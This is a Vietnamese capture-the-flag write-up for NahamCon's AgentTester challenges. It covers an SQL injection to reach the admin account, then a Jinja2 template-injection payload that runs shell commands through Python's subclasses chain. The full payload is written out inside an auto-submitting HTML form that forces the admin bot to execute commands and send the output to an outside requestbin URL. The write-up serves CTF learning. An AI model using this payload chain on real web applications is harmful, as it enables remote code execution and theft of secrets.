NahancomCTF

*AgentTester V1 & 2

challange có source code nên ta sẽ mở ra xem một lượt và xác định điều cần với mình.

đầu tiên thứ đập vào mắt mình là

=> ssti với render template string

để access được route này thì mình phải có id=1 tức là admin

thứ 2 là flag, trong file run.sh ta có

flag nằm trong biến môi trường => RCE để đọc flag

ở v1 thì đọc flag rất đơn giản

nhìn vào câu query thì ta có thể dễ dàng sqli được ở đây, django đi với sqlite

lấy ra acc admin thì ta có thể login với userid=1, qua debug để được ssti và đọc flag.

v2: sự khác biệt giữa v1 và v2 là

User.password == bcrypt.hashpw(password.encode(), current_salt).decode(),

password được encrypt nên dừ có lấy đc pass thì cũng không thể decrypt để lấy lại plaintext ban đầu-> bỏ

quay lại với /req

ta thấy subprocess.Popen gọi browser.js lên

đây là một header chromeless nên có thể bắt con bot thực thi js ở đây

mà bot thì thường là admin nên chúng ta không cần biết password của admin như thế nào.

<form id="form" method="POST" action="http://challenge.nahamcon.com:31884/debug?cmd=printenv+CHALLENGE_FLAG">
  <input name="code" value="<h1 id=token>{% for x in ().__class__.__base__.__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.cmd).read()}}{%endif%}{%endfor%}</h1>
<script>
location = 'https://requestbin.io/1njfm4i1?'+btoa(document.getElementById('token').innerHTML)
</script>">
</form>
<script>
form.submit()
</script>

host 1 file html như sau. lúc bot request tới đồng thời mình cũng bắt nó thực hiện 1 post request tới /debug, thứ được render ở debug

<h1 id=token>{% for x in ().__class__.__base__.__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.cmd).read()}}{%endif%}{%endfor%}</h1>
<script>
location = 'https://requestbin.io/1njfm4i1?'+btoa(document.getElementById('token').innerHTML)
</script>

ở trường h1 sẽ chứa output cmd của mình, sau đó sẽ chuyển hướng tới trang chờ sẵn bao gồm flag

cách giải cho v2 cũng có thể áp dụng cho v1.

Last updated